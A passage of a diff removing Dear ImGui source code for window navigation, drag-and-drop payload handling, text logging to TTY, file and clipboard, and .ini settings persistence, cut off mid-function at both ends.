ImMin(g.IO.DisplayFramebufferScale.x, g.IO.DisplayFramebufferScale.y)); // FIXME: Doesn't handle variable framerate very well - ImGuiWindow* moving_window = g.NavWindowingTarget->RootWindow; - SetWindowPos(moving_window, moving_window->Pos + move_delta * move_speed, ImGuiCond_Always); - MarkIniSettingsDirty(moving_window); - g.NavDisableMouseHover = true; - } - } - - // Apply final focus - if (apply_focus_window && (g.NavWindow == NULL || apply_focus_window != g.NavWindow->RootWindow)) - { - ClearActiveID(); - g.NavDisableHighlight = false; - g.NavDisableMouseHover = true; - apply_focus_window = NavRestoreLastChildNavWindow(apply_focus_window); - ClosePopupsOverWindow(apply_focus_window, false); - FocusWindow(apply_focus_window); - if (apply_focus_window->NavLastIds[0] == 0) - NavInitWindow(apply_focus_window, false); - - // If the window only has a menu layer, select it directly - if (apply_focus_window->DC.NavLayerActiveMask == (1 << ImGuiNavLayer_Menu)) - g.NavLayer = ImGuiNavLayer_Menu; - } - if (apply_focus_window) - g.NavWindowingTarget = NULL; - - // Apply menu/layer toggle - if (apply_toggle_layer && g.NavWindow) - { - // Move to parent menu if necessary - ImGuiWindow* new_nav_window = g.NavWindow; - while (new_nav_window->ParentWindow - && (new_nav_window->DC.NavLayerActiveMask & (1 << ImGuiNavLayer_Menu)) == 0 - && (new_nav_window->Flags & ImGuiWindowFlags_ChildWindow) != 0 - && (new_nav_window->Flags & (ImGuiWindowFlags_Popup | ImGuiWindowFlags_ChildMenu)) == 0) - new_nav_window = new_nav_window->ParentWindow; - if (new_nav_window != g.NavWindow) - { - ImGuiWindow* old_nav_window = g.NavWindow; - FocusWindow(new_nav_window); - new_nav_window->NavLastChildNavWindow = old_nav_window; - } - g.NavDisableHighlight = false; - g.NavDisableMouseHover = true; - - // Reinitialize navigation when entering menu bar with the Alt key. - const ImGuiNavLayer new_nav_layer = (g.NavWindow->DC.NavLayerActiveMask & (1 << ImGuiNavLayer_Menu)) ? (ImGuiNavLayer)((int)g.NavLayer ^ 1) : ImGuiNavLayer_Main; - if (new_nav_layer == ImGuiNavLayer_Menu) - g.NavWindow->NavLastIds[new_nav_layer] = 0; - NavRestoreLayer(new_nav_layer); - } -} - -// Window has already passed the IsWindowNavFocusable() -static const char* GetFallbackWindowNameForWindowingList(ImGuiWindow* window) -{ - if (window->Flags & ImGuiWindowFlags_Popup) - return "(Popup)"; - if ((window->Flags & ImGuiWindowFlags_MenuBar) && strcmp(window->Name, "##MainMenuBar") == 0) - return "(Main menu bar)"; - return "(Untitled)"; -} - -// Overlay displayed when using CTRL+TAB. Called by EndFrame(). -void ImGui::NavUpdateWindowingOverlay() -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(g.NavWindowingTarget != NULL); - - if (g.NavWindowingTimer < NAV_WINDOWING_LIST_APPEAR_DELAY) - return; - - if (g.NavWindowingListWindow == NULL) - g.NavWindowingListWindow = FindWindowByName("###NavWindowingList"); - const ImGuiViewport* viewport = GetMainViewport(); - SetNextWindowSizeConstraints(ImVec2(viewport->Size.x * 0.20f, viewport->Size.y * 0.20f), ImVec2(FLT_MAX, FLT_MAX)); - SetNextWindowPos(viewport->GetCenter(), ImGuiCond_Always, ImVec2(0.5f, 0.5f)); - PushStyleVar(ImGuiStyleVar_WindowPadding, g.Style.WindowPadding * 2.0f); - Begin("###NavWindowingList", NULL, ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoFocusOnAppearing | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoInputs | ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoSavedSettings); - for (int n = g.WindowsFocusOrder.Size - 1; n >= 0; n--) - { - ImGuiWindow* window = g.WindowsFocusOrder[n]; - if (!IsWindowNavFocusable(window)) - continue; - const char* label = window->Name; - if (label == FindRenderedTextEnd(label)) - label = GetFallbackWindowNameForWindowingList(window); - Selectable(label, g.NavWindowingTarget == window); - } - End(); - PopStyleVar(); -} - - -//----------------------------------------------------------------------------- -// [SECTION] DRAG AND DROP -//----------------------------------------------------------------------------- - -void ImGui::ClearDragDrop() -{ - ImGuiContext& g = *GImGui; - g.DragDropActive = false; - g.DragDropPayload.Clear(); - g.DragDropAcceptFlags = ImGuiDragDropFlags_None; - g.DragDropAcceptIdCurr = g.DragDropAcceptIdPrev = 0; - g.DragDropAcceptIdCurrRectSurface = FLT_MAX; - g.DragDropAcceptFrameCount = -1; - - g.DragDropPayloadBufHeap.clear(); - memset(&g.DragDropPayloadBufLocal, 0, sizeof(g.DragDropPayloadBufLocal)); -} - -// When this returns true you need to: a) call SetDragDropPayload() exactly once, b) you may render the payload visual/description, c) call EndDragDropSource() -// If the item has an identifier: -// - This assume/require the item to be activated (typically via ButtonBehavior). -// - Therefore if you want to use this with a mouse button other than left mouse button, it is up to the item itself to activate with another button. -// - We then pull and use the mouse button that was used to activate the item and use it to carry on the drag. -// If the item has no identifier: -// - Currently always assume left mouse button. -bool ImGui::BeginDragDropSource(ImGuiDragDropFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - // FIXME-DRAGDROP: While in the common-most "drag from non-zero active id" case we can tell the mouse button, - // in both SourceExtern and id==0 cases we may requires something else (explicit flags or some heuristic). - ImGuiMouseButton mouse_button = ImGuiMouseButton_Left; - - bool source_drag_active = false; - ImGuiID source_id = 0; - ImGuiID source_parent_id = 0; - if (!(flags & ImGuiDragDropFlags_SourceExtern)) - { - source_id = window->DC.LastItemId; - if (source_id != 0) - { - // Common path: items with ID - if (g.ActiveId != source_id) - return false; - if (g.ActiveIdMouseButton != -1) - mouse_button = g.ActiveIdMouseButton; - if (g.IO.MouseDown[mouse_button] == false) - return false; - g.ActiveIdAllowOverlap = false; - } - else - { - // Uncommon path: items without ID - if (g.IO.MouseDown[mouse_button] == false) - return false; - - // If you want to use BeginDragDropSource() on an item with no unique identifier for interaction, such as Text() or Image(), you need to: - // A) Read the explanation below, B) Use the ImGuiDragDropFlags_SourceAllowNullID flag, C) Swallow your programmer pride. - if (!(flags & ImGuiDragDropFlags_SourceAllowNullID)) - { - IM_ASSERT(0); - return false; - } - - // Early out - if ((window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HoveredRect) == 0 && (g.ActiveId == 0 || g.ActiveIdWindow != window)) - return false; - - // Magic fallback (=somehow reprehensible) to handle items with no assigned ID, e.g. Text(), Image() - // We build a throwaway ID based on current ID stack + relative AABB of items in window. - // THE IDENTIFIER WON'T SURVIVE ANY REPOSITIONING OF THE WIDGET, so if your widget moves your dragging operation will be canceled. - // We don't need to maintain/call ClearActiveID() as releasing the button will early out this function and trigger !ActiveIdIsAlive. - source_id = window->DC.LastItemId = window->GetIDFromRectangle(window->DC.LastItemRect); - bool is_hovered = ItemHoverable(window->DC.LastItemRect, source_id); - if (is_hovered && g.IO.MouseClicked[mouse_button]) - { - SetActiveID(source_id, window); - FocusWindow(window); - } - if (g.ActiveId == source_id) // Allow the underlying widget to display/return hovered during the mouse release frame, else we would get a flicker. - g.ActiveIdAllowOverlap = is_hovered; - } - if (g.ActiveId != source_id) - return false; - source_parent_id = window->IDStack.back(); - source_drag_active = IsMouseDragging(mouse_button); - - // Disable navigation and key inputs while dragging - g.ActiveIdUsingNavDirMask = ~(ImU32)0; - g.ActiveIdUsingNavInputMask = ~(ImU32)0; - g.ActiveIdUsingKeyInputMask = ~(ImU64)0; - } - else - { - window = NULL; - source_id = ImHashStr("#SourceExtern"); - source_drag_active = true; - } - - if (source_drag_active) - { - if (!g.DragDropActive) - { - IM_ASSERT(source_id != 0); - ClearDragDrop(); - ImGuiPayload& payload = g.DragDropPayload; - payload.SourceId = source_id; - payload.SourceParentId = source_parent_id; - g.DragDropActive = true; - g.DragDropSourceFlags = flags; - g.DragDropMouseButton = mouse_button; - if (payload.SourceId == g.ActiveId) - g.ActiveIdNoClearOnFocusLoss = true; - } - g.DragDropSourceFrameCount = g.FrameCount; - g.DragDropWithinSource = true; - - if (!(flags & ImGuiDragDropFlags_SourceNoPreviewTooltip)) - { - // Target can request the Source to not display its tooltip (we use a dedicated flag to make this request explicit) - // We unfortunately can't just modify the source flags and skip the call to BeginTooltip, as caller may be emitting contents. - BeginTooltip(); - if (g.DragDropAcceptIdPrev && (g.DragDropAcceptFlags & ImGuiDragDropFlags_AcceptNoPreviewTooltip)) - { - ImGuiWindow* tooltip_window = g.CurrentWindow; - tooltip_window->SkipItems = true; - tooltip_window->HiddenFramesCanSkipItems = 1; - } - } - - if (!(flags & ImGuiDragDropFlags_SourceNoDisableHover) && !(flags & ImGuiDragDropFlags_SourceExtern)) - window->DC.LastItemStatusFlags &= ~ImGuiItemStatusFlags_HoveredRect; - - return true; - } - return false; -} - -void ImGui::EndDragDropSource() -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(g.DragDropActive); - IM_ASSERT(g.DragDropWithinSource && "Not after a BeginDragDropSource()?"); - - if (!(g.DragDropSourceFlags & ImGuiDragDropFlags_SourceNoPreviewTooltip)) - EndTooltip(); - - // Discard the drag if have not called SetDragDropPayload() - if (g.DragDropPayload.DataFrameCount == -1) - ClearDragDrop(); - g.DragDropWithinSource = false; -} - -// Use 'cond' to choose to submit payload on drag start or every frame -bool ImGui::SetDragDropPayload(const char* type, const void* data, size_t data_size, ImGuiCond cond) -{ - ImGuiContext& g = *GImGui; - ImGuiPayload& payload = g.DragDropPayload; - if (cond == 0) - cond = ImGuiCond_Always; - - IM_ASSERT(type != NULL); - IM_ASSERT(strlen(type) < IM_ARRAYSIZE(payload.DataType) && "Payload type can be at most 32 characters long"); - IM_ASSERT((data != NULL && data_size > 0) || (data == NULL && data_size == 0)); - IM_ASSERT(cond == ImGuiCond_Always || cond == ImGuiCond_Once); - IM_ASSERT(payload.SourceId != 0); // Not called between BeginDragDropSource() and EndDragDropSource() - - if (cond == ImGuiCond_Always || payload.DataFrameCount == -1) - { - // Copy payload - ImStrncpy(payload.DataType, type, IM_ARRAYSIZE(payload.DataType)); - g.DragDropPayloadBufHeap.resize(0); - if (data_size > sizeof(g.DragDropPayloadBufLocal)) - { - // Store in heap - g.DragDropPayloadBufHeap.resize((int)data_size); - payload.Data = g.DragDropPayloadBufHeap.Data; - memcpy(payload.Data, data, data_size); - } - else if (data_size > 0) - { - // Store locally - memset(&g.DragDropPayloadBufLocal, 0, sizeof(g.DragDropPayloadBufLocal)); - payload.Data = g.DragDropPayloadBufLocal; - memcpy(payload.Data, data, data_size); - } - else - { - payload.Data = NULL; - } - payload.DataSize = (int)data_size; - } - payload.DataFrameCount = g.FrameCount; - - return (g.DragDropAcceptFrameCount == g.FrameCount) || (g.DragDropAcceptFrameCount == g.FrameCount - 1); -} - -bool ImGui::BeginDragDropTargetCustom(const ImRect& bb, ImGuiID id) -{ - ImGuiContext& g = *GImGui; - if (!g.DragDropActive) - return false; - - ImGuiWindow* window = g.CurrentWindow; - ImGuiWindow* hovered_window = g.HoveredWindowUnderMovingWindow; - if (hovered_window == NULL || window->RootWindow != hovered_window->RootWindow) - return false; - IM_ASSERT(id != 0); - if (!IsMouseHoveringRect(bb.Min, bb.Max) || (id == g.DragDropPayload.SourceId)) - return false; - if (window->SkipItems) - return false; - - IM_ASSERT(g.DragDropWithinTarget == false); - g.DragDropTargetRect = bb; - g.DragDropTargetId = id; - g.DragDropWithinTarget = true; - return true; -} - -// We don't use BeginDragDropTargetCustom() and duplicate its code because: -// 1) we use LastItemRectHoveredRect which handles items that pushes a temporarily clip rectangle in their code. Calling BeginDragDropTargetCustom(LastItemRect) would not handle them. -// 2) and it's faster. as this code may be very frequently called, we want to early out as fast as we can. -// Also note how the HoveredWindow test is positioned differently in both functions (in both functions we optimize for the cheapest early out case) -bool ImGui::BeginDragDropTarget() -{ - ImGuiContext& g = *GImGui; - if (!g.DragDropActive) - return false; - - ImGuiWindow* window = g.CurrentWindow; - if (!(window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HoveredRect)) - return false; - ImGuiWindow* hovered_window = g.HoveredWindowUnderMovingWindow; - if (hovered_window == NULL || window->RootWindow != hovered_window->RootWindow) - return false; - - const ImRect& display_rect = (window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HasDisplayRect) ? window->DC.LastItemDisplayRect : window->DC.LastItemRect; - ImGuiID id = window->DC.LastItemId; - if (id == 0) - id = window->GetIDFromRectangle(display_rect); - if (g.DragDropPayload.SourceId == id) - return false; - - IM_ASSERT(g.DragDropWithinTarget == false); - g.DragDropTargetRect = display_rect; - g.DragDropTargetId = id; - g.DragDropWithinTarget = true; - return true; -} - -bool ImGui::IsDragDropPayloadBeingAccepted() -{ - ImGuiContext& g = *GImGui; - return g.DragDropActive && g.DragDropAcceptIdPrev != 0; -} - -const ImGuiPayload* ImGui::AcceptDragDropPayload(const char* type, ImGuiDragDropFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiPayload& payload = g.DragDropPayload; - IM_ASSERT(g.DragDropActive); // Not called between BeginDragDropTarget() and EndDragDropTarget() ? - IM_ASSERT(payload.DataFrameCount != -1); // Forgot to call EndDragDropTarget() ? - if (type != NULL && !payload.IsDataType(type)) - return NULL; - - // Accept smallest drag target bounding box, this allows us to nest drag targets conveniently without ordering constraints. - // NB: We currently accept NULL id as target. However, overlapping targets requires a unique ID to function! - const bool was_accepted_previously = (g.DragDropAcceptIdPrev == g.DragDropTargetId); - ImRect r = g.DragDropTargetRect; - float r_surface = r.GetWidth() * r.GetHeight(); - if (r_surface <= g.DragDropAcceptIdCurrRectSurface) - { - g.DragDropAcceptFlags = flags; - g.DragDropAcceptIdCurr = g.DragDropTargetId; - g.DragDropAcceptIdCurrRectSurface = r_surface; - } - - // Render default drop visuals - payload.Preview = was_accepted_previously; - flags |= (g.DragDropSourceFlags & ImGuiDragDropFlags_AcceptNoDrawDefaultRect); // Source can also inhibit the preview (useful for external sources that lives for 1 frame) - if (!(flags & ImGuiDragDropFlags_AcceptNoDrawDefaultRect) && payload.Preview) - { - // FIXME-DRAGDROP: Settle on a proper default visuals for drop target. - r.Expand(3.5f); - bool push_clip_rect = !window->ClipRect.Contains(r); - if (push_clip_rect) window->DrawList->PushClipRect(r.Min - ImVec2(1, 1), r.Max + ImVec2(1, 1)); - window->DrawList->AddRect(r.Min, r.Max, GetColorU32(ImGuiCol_DragDropTarget), 0.0f, ~0, 2.0f); - if (push_clip_rect) window->DrawList->PopClipRect(); - } - - g.DragDropAcceptFrameCount = g.FrameCount; - payload.Delivery = was_accepted_previously && !IsMouseDown(g.DragDropMouseButton); // For extern drag sources affecting os window focus, it's easier to just test !IsMouseDown() instead of IsMouseReleased() - if (!payload.Delivery && !(flags & ImGuiDragDropFlags_AcceptBeforeDelivery)) - return NULL; - - return &payload; -} - -const ImGuiPayload* ImGui::GetDragDropPayload() -{ - ImGuiContext& g = *GImGui; - return g.DragDropActive ? &g.DragDropPayload : NULL; -} - -// We don't really use/need this now, but added it for the sake of consistency and because we might need it later. -void ImGui::EndDragDropTarget() -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(g.DragDropActive); - IM_ASSERT(g.DragDropWithinTarget); - g.DragDropWithinTarget = false; -} - -//----------------------------------------------------------------------------- -// [SECTION] LOGGING/CAPTURING -//----------------------------------------------------------------------------- -// All text output from the interface can be captured into tty/file/clipboard. -// By default, tree nodes are automatically opened during logging. -//----------------------------------------------------------------------------- - -// Pass text data straight to log (without being displayed) -static inline void LogTextV(ImGuiContext& g, const char* fmt, va_list args) -{ - if (g.LogFile) - { - g.LogBuffer.Buf.resize(0); - g.LogBuffer.appendfv(fmt, args); - ImFileWrite(g.LogBuffer.c_str(), sizeof(char), (ImU64)g.LogBuffer.size(), g.LogFile); - } - else - { - g.LogBuffer.appendfv(fmt, args); - } -} - -void ImGui::LogText(const char* fmt, ...) -{ - ImGuiContext& g = *GImGui; - if (!g.LogEnabled) - return; - - va_list args; - va_start(args, fmt); - LogTextV(g, fmt, args); - va_end(args); -} - -void ImGui::LogTextV(const char* fmt, va_list args) -{ - ImGuiContext& g = *GImGui; - if (!g.LogEnabled) - return; - - LogTextV(g, fmt, args); -} - -// Internal version that takes a position to decide on newline placement and pad items according to their depth. -// We split text into individual lines to add current tree level padding -// FIXME: This code is a little complicated perhaps, considering simplifying the whole system. -void ImGui::LogRenderedText(const ImVec2* ref_pos, const char* text, const char* text_end) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - const char* prefix = g.LogNextPrefix; - const char* suffix = g.LogNextSuffix; - g.LogNextPrefix = g.LogNextSuffix = NULL; - - if (!text_end) - text_end = FindRenderedTextEnd(text, text_end); - - const bool log_new_line = ref_pos && (ref_pos->y > g.LogLinePosY + g.Style.FramePadding.y + 1); - if (ref_pos) - g.LogLinePosY = ref_pos->y; - if (log_new_line) - { - LogText(IM_NEWLINE); - g.LogLineFirstItem = true; - } - - if (prefix) - LogRenderedText(ref_pos, prefix, prefix + strlen(prefix)); // Calculate end ourself to ensure "##" are included here. - - // Re-adjust padding if we have popped out of our starting depth - if (g.LogDepthRef > window->DC.TreeDepth) - g.LogDepthRef = window->DC.TreeDepth; - const int tree_depth = (window->DC.TreeDepth - g.LogDepthRef); - - const char* text_remaining = text; - for (;;) - { - // Split the string. Each new line (after a '\n') is followed by indentation corresponding to the current depth of our log entry. - // We don't add a trailing \n yet to allow a subsequent item on the same line to be captured. - const char* line_start = text_remaining; - const char* line_end = ImStreolRange(line_start, text_end); - const bool is_last_line = (line_end == text_end); - if (line_start != line_end || !is_last_line) - { - const int line_length = (int)(line_end - line_start); - const int indentation = g.LogLineFirstItem ? tree_depth * 4 : 1; - LogText("%*s%.*s", indentation, "", line_length, line_start); - g.LogLineFirstItem = false; - if (*line_end == '\n') - { - LogText(IM_NEWLINE); - g.LogLineFirstItem = true; - } - } - if (is_last_line) - break; - text_remaining = line_end + 1; - } - - if (suffix) - LogRenderedText(ref_pos, suffix, suffix + strlen(suffix)); -} - -// Start logging/capturing text output -void ImGui::LogBegin(ImGuiLogType type, int auto_open_depth) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - IM_ASSERT(g.LogEnabled == false); - IM_ASSERT(g.LogFile == NULL); - IM_ASSERT(g.LogBuffer.empty()); - g.LogEnabled = true; - g.LogType = type; - g.LogNextPrefix = g.LogNextSuffix = NULL; - g.LogDepthRef = window->DC.TreeDepth; - g.LogDepthToExpand = ((auto_open_depth >= 0) ? auto_open_depth : g.LogDepthToExpandDefault); - g.LogLinePosY = FLT_MAX; - g.LogLineFirstItem = true; -} - -// Important: doesn't copy underlying data, use carefully (prefix/suffix must be in scope at the time of the next LogRenderedText) -void ImGui::LogSetNextTextDecoration(const char* prefix, const char* suffix) -{ - ImGuiContext& g = *GImGui; - g.LogNextPrefix = prefix; - g.LogNextSuffix = suffix; -} - -void ImGui::LogToTTY(int auto_open_depth) -{ - ImGuiContext& g = *GImGui; - if (g.LogEnabled) - return; - IM_UNUSED(auto_open_depth); -#ifndef IMGUI_DISABLE_TTY_FUNCTIONS - LogBegin(ImGuiLogType_TTY, auto_open_depth); - g.LogFile = stdout; -#endif -} - -// Start logging/capturing text output to given file -void ImGui::LogToFile(int auto_open_depth, const char* filename) -{ - ImGuiContext& g = *GImGui; - if (g.LogEnabled) - return; - - // FIXME: We could probably open the file in text mode "at", however note that clipboard/buffer logging will still - // be subject to outputting OS-incompatible carriage return if within strings the user doesn't use IM_NEWLINE. - // By opening the file in binary mode "ab" we have consistent output everywhere. - if (!filename) - filename = g.IO.LogFilename; - if (!filename || !filename[0]) - return; - ImFileHandle f = ImFileOpen(filename, "ab"); - if (!f) - { - IM_ASSERT(0); - return; - } - - LogBegin(ImGuiLogType_File, auto_open_depth); - g.LogFile = f; -} - -// Start logging/capturing text output to clipboard -void ImGui::LogToClipboard(int auto_open_depth) -{ - ImGuiContext& g = *GImGui; - if (g.LogEnabled) - return; - LogBegin(ImGuiLogType_Clipboard, auto_open_depth); -} - -void ImGui::LogToBuffer(int auto_open_depth) -{ - ImGuiContext& g = *GImGui; - if (g.LogEnabled) - return; - LogBegin(ImGuiLogType_Buffer, auto_open_depth); -} - -void ImGui::LogFinish() -{ - ImGuiContext& g = *GImGui; - if (!g.LogEnabled) - return; - - LogText(IM_NEWLINE); - switch (g.LogType) - { - case ImGuiLogType_TTY: -#ifndef IMGUI_DISABLE_TTY_FUNCTIONS - fflush(g.LogFile); -#endif - break; - case ImGuiLogType_File: - ImFileClose(g.LogFile); - break; - case ImGuiLogType_Buffer: - break; - case ImGuiLogType_Clipboard: - if (!g.LogBuffer.empty()) - SetClipboardText(g.LogBuffer.begin()); - break; - case ImGuiLogType_None: - IM_ASSERT(0); - break; - } - - g.LogEnabled = false; - g.LogType = ImGuiLogType_None; - g.LogFile = NULL; - g.LogBuffer.clear(); -} - -// Helper to display logging buttons -// FIXME-OBSOLETE: We should probably obsolete this and let the user have their own helper (this is one of the oldest function alive!) -void ImGui::LogButtons() -{ - ImGuiContext& g = *GImGui; - - PushID("LogButtons"); -#ifndef IMGUI_DISABLE_TTY_FUNCTIONS - const bool log_to_tty = Button("Log To TTY"); SameLine(); -#else - const bool log_to_tty = false; -#endif - const bool log_to_file = Button("Log To File"); SameLine(); - const bool log_to_clipboard = Button("Log To Clipboard"); SameLine(); - PushAllowKeyboardFocus(false); - SetNextItemWidth(80.0f); - SliderInt("Default Depth", &g.LogDepthToExpandDefault, 0, 9, NULL); - PopAllowKeyboardFocus(); - PopID(); - - // Start logging at the end of the function so that the buttons don't appear in the log - if (log_to_tty) - LogToTTY(); - if (log_to_file) - LogToFile(); - if (log_to_clipboard) - LogToClipboard(); -} - - -//----------------------------------------------------------------------------- -// [SECTION] SETTINGS -//----------------------------------------------------------------------------- -// - UpdateSettings() [Internal] -// - MarkIniSettingsDirty() [Internal] -// - CreateNewWindowSettings() [Internal] -// - FindWindowSettings() [Internal] -// - FindOrCreateWindowSettings() [Internal] -// - FindSettingsHandler() [Internal] -// - ClearIniSettings() [Internal] -// - LoadIniSettingsFromDisk() -// - LoadIniSettingsFromMemory() -// - SaveIniSettingsToDisk() -// - SaveIniSettingsToMemory() -// - WindowSettingsHandler_***() [Internal] -//----------------------------------------------------------------------------- - -// Called by NewFrame() -void ImGui::UpdateSettings() -{ - // Load settings on first frame (if not explicitly loaded manually before) - ImGuiContext& g = *GImGui; - if (!g.SettingsLoaded) - { - IM_ASSERT(g.SettingsWindows.empty()); - if (g.IO.IniFilename) - LoadIniSettingsFromDisk(g.IO.IniFilename); - g.SettingsLoaded = true; - } - - // Save settings (with a delay after the last modification, so we don't spam disk too much) - if (g.SettingsDirtyTimer > 0.0f) - { - g.SettingsDirtyTimer -= g.IO.DeltaTime; - if (g.SettingsDirtyTimer <= 0.0f) - { - if (g.IO.IniFilename != NULL) - SaveIniSettingsToDisk(g.IO.IniFilename); - else - g.IO.WantSaveIniSettings = true; // Let user know they can call SaveIniSettingsToMemory(). user will need to clear io.WantSaveIniSettings themselves. - g.SettingsDirtyTimer = 0.0f; - } - } -} - -void ImGui::MarkIniSettingsDirty() -{ - ImGuiContext& g = *GImGui; - if (g.SettingsDirtyTimer <= 0.0f) - g.SettingsDirtyTimer = g.IO.IniSavingRate; -} - -void ImGui::MarkIniSettingsDirty(ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - if (!(window->Flags & ImGuiWindowFlags_NoSavedSettings)) - if (g.SettingsDirtyTimer <= 0.0f) - g.SettingsDirtyTimer = g.IO.IniSavingRate; -} - -ImGuiWindowSettings* ImGui::CreateNewWindowSettings(const char* name) -{ - ImGuiContext& g = *GImGui; - -#if !IMGUI_DEBUG_INI_SETTINGS - // Skip to the "###" marker if any. We don't skip past to match the behavior of GetID() - // Preserve the full string when IMGUI_DEBUG_INI_SETTINGS is set to make .ini inspection easier. - if (const char* p = strstr(name, "###")) - name = p; -#endif - const size_t name_len = strlen(name); - - // Allocate chunk - const size_t chunk_size = sizeof(ImGuiWindowSettings) + name_len + 1; - ImGuiWindowSettings* settings = g.SettingsWindows.alloc_chunk(chunk_size); - IM_PLACEMENT_NEW(settings) ImGuiWindowSettings(); - settings->ID = ImHashStr(name, name_len); - memcpy(settings->GetName(), name, name_len + 1); // Store with zero terminator - - return settings; -} - -ImGuiWindowSettings* ImGui::FindWindowSettings(ImGuiID id) -{ - ImGuiContext& g = *GImGui; - for (ImGuiWindowSettings* settings = g.SettingsWindows.begin(); settings != NULL; settings = g.SettingsWindows.next_chunk(settings)) - if (settings->ID == id) - return settings; - return NULL; -} - -ImGuiWindowSettings* ImGui::FindOrCreateWindowSettings(const char* name) -{ - if (ImGuiWindowSettings* settings = FindWindowSettings(ImHashStr(name))) - return settings; - return CreateNewWindowSettings(name); -} - -ImGuiSettingsHandler* ImGui::FindSettingsHandler(const char* type_name) -{ - ImGuiContext& g = *GImGui; - const ImGuiID type_hash = ImHashStr(type_name); - for (int handler_n = 0; handler_n < g.SettingsHandlers.Size; handler_n++) - if (g.SettingsHandlers[handler_n].TypeHash == type_hash) - return &g.SettingsHandlers[handler_n]; - return NULL; -} - -void ImGui::ClearIniSettings() -{ - ImGuiContext& g = *GImGui; - g.SettingsIniData.clear(); - for (int handler_n = 0; handler_n < g.SettingsHandlers.Size; handler_n++) - if (g.SettingsHandlers[handler_n].ClearAllFn) - g.SettingsHandlers[handler_n].ClearAllFn(&g, &g.SettingsHandlers[handler_n]); -} - -void ImGui::LoadIniSettingsFromDisk(const char* ini_filename) -{ - size_t file_data_size = 0; - char* file_data = (char*)ImFileLoadToMemory(ini_filename, "rb", &file_data_size); - if (!file_data) - return; - LoadIniSettingsFromMemory(file_data, (size_t)file_data_size); - IM_FREE(file_data); -} - -// Zero-tolerance, no error reporting, cheap .ini parsing -void ImGui::LoadIniSettingsFromMemory(const char* ini_data, size_t ini_size) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(g.Initialized); - //IM_ASSERT(!g.WithinFrameScope && "Cannot be called between NewFrame() and EndFrame()"); - //IM_ASSERT(g.SettingsLoaded == false && g.FrameCount == 0); - - // For user convenience, we allow passing a non zero-terminated string (hence the ini_size parameter). - // For our convenience and to make the code simpler, we'll also write zero-terminators within the buffer. So let's create a writable copy.. - if (ini_size == 0) - ini_size = strlen(ini_data); - g.SettingsIniData.Buf.resize((int)ini_size + 1); - char* const buf = g.SettingsIniData.Buf.Data; - char* const buf_end = buf + ini_size; - memcpy(buf, ini_data, ini_size); - buf_end[0] = 0; - - // Call pre-read handlers - // Some types will clear their data (e.g. dock information) some types will allow merge/override (window) - for (int handler_n = 0; handler_n < g.SettingsHandlers.Size; handler_n++) - if (g.SettingsHandlers[handler_n].ReadInitFn) - g.SettingsHandlers[handler_n].ReadInitFn(&g, &g.SettingsHandlers[handler_n]); - - void* entry_data = NULL; - ImGuiSettingsHandler* entry_handler = NULL; - - char* line_end = NULL; - for (char* line = buf; line < buf_end; line = line_end + 1) - { - // Skip new lines markers, then find end of the line - while (*line == '\n' || *line == '\r') - line++; - line_end = line; - while (line_end < buf_end && *line_end != '\n' && *line_end != '\r') - line_end++; - line_end[0] = 0; - if (line[0] == ';') - continue; - if (line[0] == '[' && line_end > line && line_end[-1] == ']') - { - // Parse "[Type][Name]". Note that 'Name' can itself contains [] characters, which is acceptable with the current format and parsing code. - line_end[-1] = 0; - const char* name_end = line_end - 1; - const char* type_start = line + 1; - char* type_end = (char*)(void*)ImStrchrRange(type_start, name_end, ']'); - const char* name_start = type_end ? ImStrchrRange(type_end + 1, name_end, '[') : NULL; - if (!type_end || !name_start) - continue; - *type_end = 0; // Overwrite first ']' - name_start++; // Skip second '[' - entry_handler = FindSettingsHandler(type_start); - entry_data = entry_handler ? entry_handler->ReadOpenFn(&g, entry_handler, name_start) : NULL; - } - else if (entry_handler != NULL && entry_data != NULL) - { - // Let type handler parse the line - entry_handler->ReadLineFn(&g, entry_handler, entry_data, line); - } - } - g.SettingsLoaded = true; - - // [DEBUG] Restore untouched copy so it can be browsed in Metrics (not strictly necessary) - memcpy(buf, ini_data, ini_size); - - // Call post-read handlers - for (int handler_n = 0; handler_n < g.SettingsHandlers.Size; handler_n++) - if (g.SettingsHandlers[handler_n].ApplyAllFn) - g.SettingsHandlers[handler_n].ApplyAllFn(&g, &g.SettingsHandlers[handler_n]); -} - -void ImGui::SaveIniSettingsToDisk(const char* ini_filename) -{ - ImGuiContext& g = *GImGui; - g.SettingsDirtyTimer = 0.0f; - if (!ini_filename) - return; - - size_t ini_data_size = 0; - const char* ini_data = SaveIniSettingsToMemory(&ini_data_size); - ImFileHandle f = ImFileOpen(ini_filename, "wt"); - if (!f) - return; - ImFileWrite(ini_data, sizeof(char), ini_data_size, f); - ImFileClose(f); -} - -// Call registered handlers (e.g. SettingsHandlerWindow_WriteAll() + custom handlers) to write their stuff into a text buffer -const char* ImGui::SaveIniSettingsToMemory(size_t* out_size) -{ - ImGuiContext& g = *GImGui; - g.SettingsDirtyTimer = 0.0f; - g.SettingsIniData.Buf.resize(0); - g.SettingsIniData.Buf.push_back(0); - for (int handler_n = 0; handler_n < g.SettingsHandlers.Size; handler_n++) - { - ImGuiSettingsHandler* handler = &g.SettingsHandlers[handler_n]; - handler->WriteAllFn(&g, handler, &g.SettingsIniData); - } - if (out_size) - *out_size = (size_t)g.SettingsIniData.size(); - return g.SettingsIniData.c_str(); -} - -static void WindowSettingsHandler_ClearAll(ImGuiContext* ctx, ImGuiSettingsHandler*) -{ - ImGuiContext& g = *ctx; - for (int i = 0; i != g.Windows.Size; i++) - g.Windows[i]->SettingsOffset = -1; - g.SettingsWindows.clear(); -} - -static void* WindowSettingsHandler_ReadOpen(ImGuiContext*, 